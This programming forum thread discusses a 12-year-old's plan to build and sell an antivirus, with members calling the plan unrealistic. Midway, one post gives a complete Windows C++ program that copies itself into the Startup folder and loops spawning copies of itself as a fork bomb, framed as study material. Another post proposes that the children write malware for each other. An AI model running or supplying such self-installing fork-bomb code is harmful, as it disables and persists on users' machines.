Anybody 12 good at C++?

Pages: 12345
I've read about Heuristics Scanning and how it's hard to implement it and if it is not done well it could lead to false-positive results
Lumpkin you do need to have a mic, once you made your Skype acc P&M me your Skype name
closed account (EwCjE3v7)
@lumkin. I meant not even close to expert. I only know if statement,while loop,for statement, functions,references, literals, suffix,prefix and I'm learning pointers.so that is like a billion miles away from expert.
closed account (zb0S216C)
Code Apperentice wrote:
"Hey guys I just want to know if anybody of you there are about the same age as I am (12) and is excellent at C++ programming."

Why 12? Limiting help to users at the age of 12 will only reduce the quality and validity of information you receive.

Code Apperentice wrote:
"I am currently trying to find people my age to work on a big antivirus project and when its done we could sell it to the world."

For this [foolish] endeavour, you're going to need far more than a group of kids. I'm [trying] not going to be rude here, but if you put the all of the experience and knowledge of all 12 year-old members together, you're going to have less of the aforementioned qualities than a single senior member -- and even a single senior member isn't enough for this project.

I agree with BHXSpecter, SpaceWorm and Austin J here.

On a final note: @Code Apperentice: you've spelt "apprentice" wrong.

Wazzak
Last edited on
closed account (G309216C)
I do not know why you are getting ahead of your selves but this project will be kind of Pointless keeping in mind now a days Malware is much more sophisticated and easily bypasses beginner AV solutions fairly easily.

The bare minimum knowledge one must posses to make a self-maintainable AV is to learn how ACL\DACL's work and ACE's this will be atleast useful for some Malware removal schemes such as Dark Comet and other notable but unprotected Malware.

Next till now not a single one is going to take the challenge, guys?
It is not to humiliate nor low your self-esteem but to improve your knowledge and make it competitive. That way more will be enthusiastic it will simulate Real-World Scenarios right? Post Here OR PM me to accept this challenge.
Last edited on
I don't know why anyone would say you can't do something, when in truth you can if you believe you can.

Age does not matter and I encourage all to go for it.

I myself am tired of always hearing I am not good enough, but have already acomplished more than anyone believed I could. The only voice you should listen to is the positive ones. See what you can do and never give up.
@ Manga: Are we done with the Saturday morning cartoon special? Self confidence is a grand thing, but it's useless when the goal you are trying to achieve requires a knowledge base that the overwhelming majority of children this age don't have. How would they get anywhere if they don't know where to start? What would be worse then them spending years of their lives on a this only to find out later down the road that some critical flaw in the core of their design makes the entire project invalid? How would they know to recognize and avoid such a flaw without the years of study that we are telling them are necessary? You want to boost their confidence that's fine, we are telling them that their time is better spent elsewhere doing something that will actually yield results.

@ OP: This idea is inspired by Space Worms challenge, why don't you take your team and break it in two. Each team spends a week designing and writing a piece of "malware". You then exchange each others projects and spend another week writing an automated solution made to specifically defeat the other teams code. This will give you some experience with what you are trying to achieve and the scope of the project is much more manageable. Designing and setting up a proper test environment for this alone will teach you more about computer systems then most adults know. Just remember to keep mixing up the teams, if you find one side is consistently winning or one member is significantly stronger then the rest then it's going to defeat the purpose of this exercise.
Last edited on
Computergeek01 wrote:
@ OP: This idea is inspired by Space Worms challenge, why don't you take your team and break it in two. Each team spends a week designing and writing a piece of "malware". You then exchange each others projects and spend another week writing an automated solution made to specifically defeat the other teams code. This will give you some experience with what you are trying to achieve and the scope of the project is much more manageable. Designing and setting up a proper test environment for this alone will teach you more about computer systems then most adults know. Just remember to keep mixing up the teams, if you find one side is consistently winning or one member is significantly stronger then the rest then it's going to defeat the purpose of this exercise.



This is a REALLY good idea. I second this idea if you are able to actually get a team large enough to try it.



EDIT:

Also....

Saturday morning cartoon special


I think you are mixing up "After school special" with "Saturday morning cartoon" and creating something bodacious in the process.
Last edited on
closed account (N36fSL3A)
No please I suck at malware writing. The best I did was crash a simple chat server.

Who's in our team?
Last edited on
How can anyone suck at writing Malware? It's so easy that people accidentally do it while trying to write legitimate programs.

I SHOULD NOT HAVE TO TELL YOU NOT TO RUN THIS. THIS IS FOR STUDY ONLY!!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <iostream>
#include <cstdio>
#include <windows.h>

void pause()
{
    std::cin.sync();
    std::cin.ignore();
}

typedef HRESULT (*FunctionDef)(LPVOID, LPCTSTR, LPCTSTR, DWORD, LPVOID);

int main(int argv, char* argc[])
{
    STARTUPINFO si;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);

    PROCESS_INFORMATION pi;
        ZeroMemory(&pi, sizeof(pi));

    bool ThisIsAForkBomb = true;

    char Profile[MAX_PATH];
        GetEnvironmentVariable("ALLUSERSPROFILE", Profile, MAX_PATH);

    char CurrentPath[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, CurrentPath);

    char TempName[MAX_PATH];
    char FilePath[MAX_PATH];

    GetTempFileName(CurrentPath, "tmp", 0, TempName);

    sprintf(TempName, "%s%s", TempName, ".jpg");
    sprintf(FilePath, "\"%s\"", argc[0]);

    FunctionDef URLDownloadToFile = (FunctionDef) GetProcAddress(LoadLibrary("C:\\Windows\\system32\\urlmon.dll"), "URLDownloadToFileA");
/*This Is In Case You're Using MingW Which Lacks This DLL's Import Library*/

    std::string Startup = (std::string)Profile + "\\Start Menu\\Programs\\Startup\\Bonk.exe";

    URLDownloadToFile(NULL, "http://i.imgur.com/F27GrlO.jpg", TempName, 0, NULL);

    CopyFile(argc[0], Startup.c_str(), TRUE);
    /*Pay Attention To What This Copy Function Is Doing*/
    while(ThisIsAForkBomb)
    {
        pause();
        /*If You Run This With The Above Function, "pause()", Commented Out Do Not Come Crying To Me*/
        if(!CreateProcess(NULL, FilePath, NULL, NULL, FALSE, /*CREATE_NO_WINDOW*/CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
        {
            std::cout << GetLastError();
        }
    }
    pause();
	return 0;
}


Less then 100 lines of code.
closed account (EwCjE3v7)
Framework wrote
For this [foolish] endeavour, you're going to need far more than a group of kids. I'm [trying] not going to be rude here, but if you put the all of the experience and knowledge of all 12 year-old members together, you're going to have less of the aforementioned qualities than a single senior member -- and even a single senior member isn't enough for this project.



Okay let me tell u something. I heard of this famous girl from Pakistan. Her name is arfa karim. She got her degree of c# at age 9. She has met bill gates and the president of Pakistan. She died at age 14. U can search google .becuz I don't know much. And than there is this other kid aged 13 in Ireland.(I live in Ireland to but he lives in Wexford and I live in Dublin) he makes ios and android apps. I forgot his name but search 12 year old programmers and he is in a video. And there is so much more. So I say go for it


I didn't tell apprentice till now that he will need to learn more becuz i didn't want to put his hopes down. I just hate it when someone discourages u. So please say it more nicely that u will need more practice and all that.
closed account (N36fSL3A)
What's your guy's skypes?
closed account (EwCjE3v7)
Mine is CaptainBlastXD. But we chat no calling
Last edited on
CaptainBlastXD wrote:
So please say it more nicely that u will need more practice and all that

We aren't going to hold his hand. Programming is hard, and coming in with a wild idea that he is under qualified to do isn't going to gain him points. This is us being nice, would could have told him to get lost when we first saw the idea.
OK I'm just going to flat out say what I was trying to illustrate above; it is useless to try to write an antivirus program, the entire concept is fundimentally flawed. If you run the code I posted above I promise that your AV program will not catch it, you may have to change a directory depending on which version of windows you are running but other then that... It doesn't matter if the AV program is open source or backed by a multi million dollar company, this code will execute and it will not be flagged or stopped by any of them. If you want to know why this is then look up Allen Turings halting problem. If you don't want to take my previous suggestion about competing with each other then please just make a game instead, it will be a much better use of your time.
closed account (EwCjE3v7)
Well u can just say that. He said that if u combine all the 12 year old kids u wouldn't able to do it. And that's false and discouraging. He could have said u will need more experience
Actually it isn't false, but rather truth. Though it is discouraging because it is again the truth. Also, you pointed out Arfa Karim, while it is impressive for a girl from the background she came from getting it, it is nothing to brag about. Being a Microsoft Certified Professional just means you know one of their products inside and out (anyone with a lot of time on their hands can get a MCP cert). Her death is tragic too, but doesn't show anything more than she had a lot of time on her hands and learned a Microsoft tool.

Microsoft Certifications are information technology professional certifications for Microsoft products. Individual certifications are received upon passing one or more exams.
Like Apple, Cisco, Oracle, Red Hat and Ubuntu programs, the certifications mainly focus on their respective product, as opposed to employment aptitude tests designed for programmer trainee jobs. The certifications are categorized by function as Server, Desktop, Database, and Developer.
Exams usually take between two and three hours to complete and consist of between 40 and 90 multiple-choice, drag-and-drop, and solution-building questions; and simulated content with respect to which students must perform certain common administrative tasks.
@ CaptainBlastXD: You're not taking into account overlap much of what each of you know is the same stuff. If you think [b]Framework[\b] is being mean by mentioning the understandable technical problems you are facing and not the 50 foot brick wall staring you in the face? Then I'll be the one to point out what should be embarrassingly obvious by framing a few questions: How do you penetrate a saturated market with a nameless product? How do you over come brand loyalty, regardless of product quality, and establish yourself with little to no seed money? Go ahead, answer those questions and I will personally give you a six figure (USD) job by the end of the week. I will be able to do this because I would be making between seven and nine figures for having discovered you and that is only because of how lazy I am.

Honestly guys, please just make a game. Not just because it's easier but because more people will appreciate you for it.
Last edited on
closed account (S6k9GNh0)
Last I checked, at the age of 12, UnrealScript was more like mumbo jumbo and Chinese is to English to me. I understood it sure but not in the same way I do now. While learning, I eventually had to accept that certain things "are just happening" instead of understanding what was going on.

You also can't compare a super genius who's intellect at their age compared to Einstein's as adult to an ordinary kid.
Last edited on
closed account (zb0S216C)
CaptainBlastXD wrote:
"She got her degree of c# at age 9. She has met bill gates and the president of Pakistan."

So? C# isn't exactly a difficult language to learn. And who cares if she met Bill Gates and the President of Pakistan? I can walk past either of them in the street and engage in conversation. Nothing special. Besides, any one can learn a language, but it takes a greater mind to use a language in a productive and useful way.

CaptainBlastXD wrote:
"And than there is this other kid aged 13 in Ireland.(I live in Ireland to but he lives in Wexford and I live in Dublin) he makes ios and android apps."

Meh. Android and iOS app development is so common these days it's nothing new. Besides, with all these "libraries" that you can get for Android and iOS means anybody can develop a app. There's little to no skill involved.

CaptainBlastXD wrote:
"So please say it more nicely that u will need more practice and all that."

If I put it any other way, I would've mislead him with false hope.

CaptainBlastXD wrote:
"And that's false and discouraging. He could have said u will need more experience"

Discouraging? Maybe. False? Definitely not. Will experience save you? Perhaps, but experience alone will not help you here. You need more senior developers who have actual experience with AV development and someone with working knowledge of how malicious software works -- not to mention a group of people to constantly research the latest data-base entries, which has already been stated previously.

On a final note, who will actually by your AV? Why would they choose your AV over Norton, Avast! Comodo, Microsoft Security Essentials and Panda (to name a few).

Wazzak
Last edited on
Pages: 12345